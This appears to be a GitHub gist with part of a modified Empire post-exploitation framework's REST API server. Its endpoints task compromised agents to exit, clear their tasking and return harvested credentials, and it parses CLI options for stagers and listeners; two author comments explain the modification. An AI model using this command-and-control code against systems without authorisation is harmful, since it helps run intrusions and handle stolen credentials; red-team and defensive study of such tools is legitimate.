if not agentNameID or len(agentNameID) == 0:
return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
(agentName, agentSessionID) = agentNameID[0]
newName = request.json['newname']
try:
result = main.agents.rename_agent(agentName, newName)
if not result:
return make_response(jsonify({'error': 'error in renaming %s to %s, new name may have already been used' %(agentName, newName)}), 400)
return jsonify({'success': True})
except Exception:
return make_response(jsonify({'error': 'error in renaming %s to %s' %(agentName, newName)}), 400)
@app.route('/api/agents/<string:agent_name>/clear', methods=['POST', 'GET'])
def task_agent_clear(agent_name):
"""
Clears the tasking buffer for the specified agent.
"""
if agent_name.lower() == "all":
# enumerate all target agent sessionIDs
agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
else:
agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
if not agentNameIDs or len(agentNameIDs) == 0:
return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
for agentNameID in agentNameIDs:
(agentName, agentSessionID) = agentNameID
main.agents.clear_agent_tasks_db(agentSessionID)
return jsonify({'success': True})
@app.route('/api/agents/<string:agent_name>/kill', methods=['POST', 'GET'])
def task_agent_kill(agent_name):
"""
Tasks the specified agent to exit.
"""
if agent_name.lower() == "all":
# enumerate all target agent sessionIDs
agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
else:
agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
if not agentNameIDs or len(agentNameIDs) == 0:
return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
for agentNameID in agentNameIDs:
(agentName, agentSessionID) = agentNameID
# task the agent to exit
msg = "tasked agent %s to exit" %(agentSessionID)
main.agents.save_agent_log(agentSessionID, msg)
main.agents.add_agent_task_db(agentSessionID, 'TASK_EXIT')
return jsonify({'success': True})
@app.route('/api/creds', methods=['GET'])
def get_creds():
"""
Returns JSON describing the credentials stored in the backend database.
"""
credsRaw = execute_db_query(conn, 'SELECT ID, credtype, domain, username, password, host, os, sid, notes FROM credentials')
creds = []
for credRaw in credsRaw:
[ID, credtype, domain, username, password, host, os, sid, notes] = credRaw
creds.append({"ID":ID, "credtype":credtype, "domain":domain, "username":username, "password":password, "host":host, "os":os, "sid":sid, "notes":notes})
return jsonify({'creds' : creds})
@app.route('/api/reporting', methods=['GET'])
def get_reporting():
"""
Returns JSON describing the reporting events from the backend database.
"""
reportingRaw = execute_db_query(conn, 'SELECT ID, name, event_type, message, time_stamp, taskID FROM reporting')
reportingEvents = []
for reportingEvent in reportingRaw:
[ID, name, event_type, message, time_stamp, taskID] = reportingEvent
reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":message, "timestamp":time_stamp, "taskID":taskID})
return jsonify({'reporting' : reportingEvents})
@app.route('/api/reporting/agent/<string:reporting_agent>', methods=['GET'])
def get_reporting_agent(reporting_agent):
"""
Returns JSON describing the reporting events from the backend database for
the agent specified by reporting_agent.
"""
# first resolve the supplied name to a sessionID
results = execute_db_query(conn, 'SELECT session_id FROM agents WHERE name=?', [reporting_agent])
if results:
sessionID = results[0][0]
else:
return jsonify({'reporting' : ''})
reportingRaw = execute_db_query(conn, 'SELECT ID, name, event_type, message, time_stamp, taskID FROM reporting WHERE name=?', [sessionID])
reportingEvents = []
for reportingEvent in reportingRaw:
[ID, name, event_type, message, time_stamp, taskID] = reportingEvent
reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":message, "timestamp":time_stamp, "taskID":taskID})
return jsonify({'reporting' : reportingEvents})
@app.route('/api/reporting/type/<string:event_type>', methods=['GET'])
def get_reporting_type(event_type):
"""
Returns JSON describing the reporting events from the backend database for
the event type specified by event_type.
"""
reportingRaw = execute_db_query(conn, 'SELECT ID, name, event_type, message, time_stamp, taskID FROM reporting WHERE event_type=?', [event_type])
reportingEvents = []
for reportingEvent in reportingRaw:
[ID, name, event_type, message, time_stamp, taskID] = reportingEvent
reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":message, "timestamp":time_stamp, "taskID":taskID})
return jsonify({'reporting' : reportingEvents})
@app.route('/api/reporting/msg/<string:msg>', methods=['GET'])
def get_reporting_msg(msg):
"""
Returns JSON describing the reporting events from the backend database for
the any messages with *msg* specified by msg.
"""
reportingRaw = execute_db_query(conn, "SELECT ID, name, event_type, message, time_stamp, taskID FROM reporting WHERE message like ?", ['%'+msg+'%'])
reportingEvents = []
for reportingEvent in reportingRaw:
[ID, name, event_type, message, time_stamp, taskID] = reportingEvent
reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":message, "timestamp":time_stamp, "taskID":taskID})
return jsonify({'reporting' : reportingEvents})
@app.route('/api/admin/login', methods=['POST'])
def server_login():
"""
Takes a supplied username and password and returns the current API token
if authentication is accepted.
"""
if not request.json or not 'username' in request.json or not 'password' in request.json:
abort(400)
suppliedUsername = request.json['username']
suppliedPassword = request.json['password']
# try to prevent some basic bruting
time.sleep(2)
if suppliedUsername == username[0] and suppliedPassword == password[0]:
return jsonify({'token': apiToken})
else:
return make_response('', 401)
@app.route('/api/admin/permanenttoken', methods=['GET'])
def get_server_perm_token():
"""
Returns the 'permanent' API token for the server.
"""
permanentToken = get_permanent_token(conn)
return jsonify({'token': permanentToken})
@app.route('/api/admin/restart', methods=['GET', 'POST', 'PUT'])
def signal_server_restart():
"""
Signal a restart for the Flask server and any Empire instance.
"""
restart_server()
return jsonify({'success': True})
@app.route('/api/admin/shutdown', methods=['GET', 'POST', 'PUT'])
def signal_server_shutdown():
"""
Signal a restart for the Flask server and any Empire instance.
"""
shutdown_server()
return jsonify({'success': True})
if not os.path.exists('./data/empire.pem'):
print "[!] Error: cannot find certificate ./data/empire.pem"
sys.exit()
def shutdown_server():
"""
Shut down the Flask server and any Empire instance gracefully.
"""
global serverExitCommand
if suppress:
# repair stdout
sys.stdout.close()
sys.stdout = oldStdout
print "\n * Shutting down Empire RESTful API"
if conn:
conn.close()
if startEmpire:
print " * Shutting down the Empire instance"
main.shutdown()
serverExitCommand = 'shutdown'
func = request.environ.get('werkzeug.server.shutdown')
if func is not None:
func()
def restart_server():
"""
Restart the Flask server and any Empire instance.
"""
global serverExitCommand
shutdown_server()
serverExitCommand = 'restart'
def signal_handler(signal, frame):
"""
Overrides the keyboardinterrupt signal handler so we can gracefully shut everything down.
"""
global serverExitCommand
with app.test_request_context():
shutdown_server()
serverExitCommand = 'shutdown'
# repair the original signal handler
import signal
signal.signal(signal.SIGINT, signal.default_int_handler)
sys.exit()
signal.signal(signal.SIGINT, signal_handler)
# wrap the Flask connection in SSL and start it
certPath = os.path.abspath("./data/")
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
context.load_cert_chain("%s/empire-chain.pem" % (certPath), "%s/empire-priv.key" % (certPath))
app.run(host='0.0.0.0', port=int(port), ssl_context=context, threaded=True)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
generalGroup = parser.add_argument_group('General Options')
generalGroup.add_argument('--debug', nargs='?', const='1', help='Debug level for output (default of 1, 2 for msg display).')
generalGroup.add_argument('-v', '--version', action='store_true', help='Display current Empire version.')
cliGroup = parser.add_argument_group('CLI Payload Options')
cliGroup.add_argument('-l', '--listener', nargs='?', const="list", help='Display listener options. Displays all listeners if nothing is specified.')
cliGroup.add_argument('-s', '--stager', nargs='?', const="list", help='Specify a stager to generate. Lists all stagers if none is specified.')
cliGroup.add_argument('-o', '--stager-options', nargs='*', help="Supply options to set for a stager in OPTION=VALUE format. Lists options if nothing is specified.")
restGroup = parser.add_argument_group('RESTful API Options')
launchGroup = restGroup.add_mutually_exclusive_group()
launchGroup.add_argument('--rest', action='store_true', help='Run the Empire RESTful API.')
launchGroup.add_argument('--headless', action='store_true', help='Run Empire and the RESTful API headless without the usual interface.')
restGroup.add_argument('--restport', type=int, nargs=1, help='Port to run the Empire RESTful API on.')
restGroup.add_argument('--username', nargs=1, help='Start the RESTful API with the specified username instead of pulling from empire.db')
restGroup.add_argument('--password', nargs=1, help='Start the RESTful API with the specified password instead of pulling from empire.db')
args = parser.parse_args()
if not args.restport:
args.restport = '1337'
else:
args.restport = args.restport[0]
if args.version:
print empire.VERSION
elif args.rest:
# start just the RESTful API
while serverExitCommand == 'restart':
try:
start_restful_api(startEmpire=True, suppress=False, username=args.username, password=args.password, port=args.restport)
except SystemExit as e:
pass
elif args.headless:
# start an Empire instance and RESTful API and suppress output
while serverExitCommand == 'restart':
try:
start_restful_api(startEmpire=True, suppress=False, username=args.username, password=args.password, port=args.restport)
except SystemExit as e:
pass
else:
# normal execution
main = empire.MainMenu(args=args)
main.cmdloop()
sys.exit()
@jymcheong
Copy link
Author

jymcheong commented Sep 7, 2017

The modified Empire from https://github.com/byt3bl33d3r/Empire unfortunately won't work for Empire 2.1 due to change in start_restful_api function. I borrowed @byt3bl33d3r's idea but instead of having the Flask app.run in thread, I put the cmdLoop() within a thread under start_restful_api function.

As to why modify in the first place? When scripting Empire with APIs, it is useful to have a console. #tmux-rocks

To quite, type exit as usual. You will need another Ctrl + C to shutdown the API listener.

@jymcheong
Copy link
Author

jymcheong commented Sep 7, 2017

A side note, I looked through MainMenu function within empire.py, doesn't seem to use restAPI variable at all.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment